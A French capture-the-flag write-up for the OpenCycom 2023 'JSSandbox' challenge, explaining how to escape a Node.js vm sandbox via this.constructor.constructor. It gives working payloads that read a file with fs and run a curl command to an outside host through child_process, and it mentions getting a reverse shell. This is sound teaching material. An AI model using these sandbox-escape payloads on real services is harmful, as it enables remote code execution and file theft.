JSSandbox
OpenCycom 2023 - JSSandbox - 300 pts⌗
Énoncé⌗
J’ai codé un super outil pour que les débutants puissent apprendre à utiliser NodeJS facilement sur Internet, en plus j’ai sandboxé l’exécution pour pas que des petits filous essayent de faire n’importe quoi :)
Je doute quand même de la robustesse de la méthode que j’ai employée, tu peux y jeter un coup d’oeil ?
le flag se trouve dans le fichier /flag
Ce challenge a été résolu par 8,3% des équipes.
Solution⌗
Une sandbox JavaScript ! Elle me permet de jouer avec JS et d’apprendre à programmer.
La première question que je me pose est : qui ou quoi exécute mon code ? Dans ce cas précis, ça a l’air d’être le serveur qui fait tout, car rien n’est exécuté côté client. Cela veut dire que le serveur exécute le code que je veux, pas mal non ?
Sauf qu’après quelques essais, on se rend compte que cette sandbox est bien limitée : pas d’accès aux modules fs
ou child_process
, et surtout, pas possible de require
des nouveaux modules.
Cela ressemble a une VM JavaScript faite avec le module node vm
, mais c’est plutôt une bonne nouvelle pour nous, car ce module n’est pas sécurisé du tout.
Commençons par essayer de trouver si un contexte existe avec le keyword this
.
On nous retourne [Object object]
, ce qui veut dire que this
existe bel et bien.
Après quelques recherches sur Internet, je me rends compte qu’il serait possible de sortir du contexte de la VM en utilisant les constructeurs de mon objet this
: this.constructor.constructor
. Cela veut dire qu’on peut lui passer une fonction anonyme sous forme de texte, qui sera automatiquement appelée par le constructeur lors de son instanciation.
Par exemple, on peut faire : this.constructor.constructor('return 1+1')
Bingo, on arrive à exécuter du code. Mais ça nous avance à quoi ? Ce qui compte ici c’est le contexte dans lequel est exécuté notre code. En utilisant les constructeurs, on est en mesure d’échapper le contexte de la VM pour se retrouver dans le contexte global.
On peut maintenant utiliser require
pour appeler n’importe quelle librairie native ! À nous le flag.
this.constructor.constructor("return process.mainModule.require(\'fs\').readFileSync(\'flag\',\'utf-8\')")()
Petit bonus, on peut également obtenir une RCE côté système avec le module child_process
.
this.constructor.constructor("return process.mainModule.require(\'child_process\').exec(\'curl http://opencycom.free.beeceptor.com\')")()
À partir de là, il est trivial d’obtenir un reverse shell :)
FLAG : OPC{VM**********}